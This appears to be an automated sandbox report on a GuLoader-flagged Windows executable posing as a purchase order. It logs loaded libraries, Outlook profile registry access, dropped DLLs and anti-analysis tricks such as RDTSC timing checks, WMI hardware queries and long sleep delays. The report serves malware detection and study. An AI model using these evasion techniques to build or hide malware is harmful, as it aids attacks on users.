Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: PO 0309494059506060609696007.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2279273264.0000000004476000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Code function: 0_2_6E421B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6E421B5F

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_36253FC8 push 243660DAh; retf		4_2_36253FD5
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_3663057F push ebp; ret		4_2_3663058F

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	File created: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\LangDLL.dll			Jump to dropped file
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	File created: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll			Jump to dropped file

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	API/Special instruction interceptor: Address: 4AF3D1C
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	API/Special instruction interceptor: Address: 1E83D1C

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	RDTSC instruction interceptor: First address: 4AB2F0D second address: 4AB2F0D instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FCA9C7476A6h 0x00000006 inc ebp 0x00000007 test cl, al 0x00000009 inc ebx 0x0000000a cmp cl, al 0x0000000c rdtsc
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	RDTSC instruction interceptor: First address: 1E42F0D second address: 1E42F0D instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FCA9CB960D6h 0x00000006 inc ebp 0x00000007 test cl, al 0x00000009 inc ebx 0x0000000a cmp cl, al 0x0000000c rdtsc

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Memory allocated: 33230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Memory allocated: 33060000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598249	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597702	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597227	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596964	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596749	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596202	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595874	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595546	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595217	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595101	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594870	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594546	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594427	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594296	Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Window / User API: threadDelayed 1289			Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Window / User API: threadDelayed 8567			Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\LangDLL.dll			Jump to dropped file
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll			Jump to dropped file

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 2708	Thread sleep count: 1289 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 2708	Thread sleep count: 8567 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -598249s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -597921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -597702s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -597374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -597227s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -596964s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -596859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -596749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -596640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -596531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -596421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -596312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -596202s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -596093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -595984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -595874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -595765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -595656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -595546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -595437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -595217s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -595101s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -594984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -594870s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -594765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -594656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -594546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -594427s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe TID: 4312	Thread sleep time: -594296s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_004059CC GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004059CC
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_004065FD FindFirstFileW,FindClose,	0_2_004065FD
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_00402868 FindFirstFileW,	4_2_00402868
